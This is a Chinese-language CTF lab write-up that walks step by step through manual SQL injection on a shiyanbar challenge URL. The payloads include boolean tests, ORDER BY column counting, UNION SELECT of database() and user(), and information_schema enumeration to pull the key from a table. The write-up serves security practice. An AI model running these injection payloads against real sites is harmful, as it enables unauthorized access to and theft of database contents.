CTF题库-实验吧-这个看起来有点简单

链接地址为 http://ctf5.shiyanbar.com/8/index.php?id=1
1,我们点开链接后,发现是直接返回了一个数据库查询回显,毫无疑问是个SQL注入漏洞,通过GET传参的,我们可以直接开始手工注。
2,开始用逻辑判断,看看他返回不同的页面,先来and 1=1,没有异常回显

http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=1

在这里插入图片描述
3,再尝试1=2,明显有异常回显,我们已经知道错误页面的模样了

http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2

在这里插入图片描述
4,我们继续开始判断数据表的字段数量
先随便给一个数值10,异常回显

http://ctf5.shiyanbar.com/8/index.php?id=1 order by 10

5,我们用二分法,再从5开始,也是异常回显

http://ctf5.shiyanbar.com/8/index.php?id=1 order by 5

6,于是继续,尝试3,异常回显

http://ctf5.shiyanbar.com/8/index.php?id=1 order by 3

7,继续尝试2,正常回显,我们知道了数据表字段数量为2

http://ctf5.shiyanbar.com/8/index.php?id=1 order by 2

8,接着我们构造联合查询的payload,查询当前用户和网站使用的数据库

http://ctf5.shiyanbar.com/8/index.php?id=1 union select  database(),user()

在这里插入图片描述
9,得到数据库名后,我们可以用mysql里面的information_schema里面的表来使用语法构造payload
//当然如果数据库不是mysql或者说被限制了权限,我们可以尝试爆破来尝试

http://ctf5.shiyanbar.com/8/index.php?id=1  union select table_name,1 from information_schema.tables where table_schema='my_db'

在这里插入图片描述
10,这里我们看到两个表名,而thiskey这个表名很可疑,我们先继续查询他的字段名

http://ctf5.shiyanbar.com/8/index.php?id=1 union select column_name,2 from information_schema.columns where table_schema='my_db' and table_name='thiskey'

在这里插入图片描述
11,得到后,直接查询k0y对应的数据

http://ctf5.shiyanbar.com/8/index.php?id=1  union select k0y,2 from my_db.thiskey

在这里插入图片描述
12,得到key值

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值